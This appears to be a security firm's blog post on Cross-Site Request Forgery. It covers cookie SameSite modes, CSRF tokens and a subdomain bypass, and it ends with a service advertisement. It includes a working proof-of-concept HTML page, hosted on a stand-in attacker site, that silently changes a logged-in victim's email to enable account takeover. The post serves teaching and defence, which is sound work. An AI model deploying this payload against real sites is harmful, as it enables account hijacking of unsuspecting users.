CSRF exploits are still a thing

CSRF exploits are still a thing

What is a CSRF

Cross-Site Request Forgery (CSRF) is a web security vulnerability that allows an attacker to
force targeted users to perform actions that they do not intend, and usually without them noticing.
This attack is often carried out by sending a link to a victim.

The impact of this vulnerability greatly depends on the action that is performed.
If the attacker is able to make the target user change their email or password, this results in full account takeover.
We've also seen cases where an attacker can force a targeted user to post a message on a social media, potentially damaging the reputation of the victim.

The attack

This example is taken from CSRF exploit we found on a production website this year (2024).

This exploit is possible because all of the following conditions are true:

the session is stored in a cookie (as opposed to a HTTP header, for example).
this cookie has its "SameSite" attribute set to "None" (it would not be possible if it was set to "Lax" or "Strict").
this action can be performed without entering the account password.

To exploit this CSRF, the attacker can host the following HTML page on their website at an innocent-looking URL
like https://evil.com/extremely-cool-article.html:

 1<!DOCTYPE html>
 2<html>
 3    <head>
 4        <title>CSRF</title>
 5    </head>
 6
 7    <body>
 8        <h1>Hey, You are being exploited by a CSRF attack :D</h1>
 9        <script>
10            fetch("https://vulnerable.com/api/user/update_profile", {
11                method: "POST",
12                credentials: "include",
13                headers: {"Content-Type": "application/x-www-form-urlencoded"},
14                body: "[email protected]"
15            });
16        </script>
17    </body>
18</html>

When the attacker sends this link to someone who has an active session on vulnerable.com, the
email address of their account will be changed to [email protected] without them noticing.
The attacker can then use the "forgot password" feature on vulnerable.com to reset the password
of the victim because the link to reset the password will be sent to the attacker's email address, thus gaining full access to their account.

The defense

CSRF tokens

An effective way to defend against CSRF exploits is to include a
CSRF token in relevant requests.
A CSRF token must be unpredictable with high entropy and tied to the user's session. Each
request containing a CSRF token has to be validated.

One common way to send CSRF tokens is to include them as a hidden input field in a HTML form:

1<input type="hidden" name="csrf_token" value="c0IwjZNkjkR4XbisJF39dI8kyWqznWX9wX4WF8o9zixk2k" />

This will include the csrf_token parameter in the HTTP request, and the server must validate
that the token is the one tied to the user's session before performing the action of the request.
Needless to say, the server must reject any request that does not include the csrf_token parameter.

Many application frameworks have built-in support for CSRF tokens like Django and Ruby on Rails.

The SameSite attribute is a browser security mechanism that determines whether or not
to include a cookie in requests originating from other websites. It is set by the HTTP response:

1Set-Cookie: session=f481ed500632212c96d1a9816ebb8dbc; SameSite=Strict

It has 3 modes:

Strict: the cookie can only be sent if the site for the cookie is the one shown in the address bar of the browser. This means that if a user follows a link to your site from another one, the cookie isn't sent.
Lax: allows the browser to send the cookie when a user clicks a link, but not when using javascript or a HTML form.
None: the cookie is sent in all contexts.

Nowadays, every major browser uses the "Lax" setting by default if it is not specified (before that, it was "None"), which contributed to reduce the number of CSRF exploits in the wild.

One important detail to keep in mind is that the definition of "SameSite" is different
than the definition of the same origin, used in the Same Origin Policy.
Indeed, subdomains are considered part of the same site, check the public suffix list for more info.
For example, if a user on quintessence.sh makes a request to static.quintessence.sh, that's a same-site request. This is
also true across subdomains, so a request from static.quintessence.sh to dev.quintessence.sh is also same-site.

This means that if a user is able to upload a HTML file to files.vulnerable.com, they can bypass the SameSite attribute
and perform actions on app.vulnerable.com by sending a link to their uploaded file. That is why we always recommend
using CSRF tokens in addition to setting the SameSite attribute.

Conclusion

CSRF attacks are one of the most simple web security vulnerabilities, but also one of easiest to defend against.
Your application might already be secure against CSRF without you even knowing it. That being said, it is still
possible to find CSRF exploits on production websites nowadays, which can significantly impact users.

Our services

We are a team of dedicated cybersecurity consultants focused on uncovering weaknesses and helping organizations strengthen their security posture.

We ensure confidentiality with encrypted communications via pgp and accept any confidentiality clauses you may propose.

We are specialized in pentesting, code auditing and monitoring to ensure the security of your services and infrastructure.

You can contact us at [email protected] if you have any questions or need help with your cybersecurity needs.

Table of Contents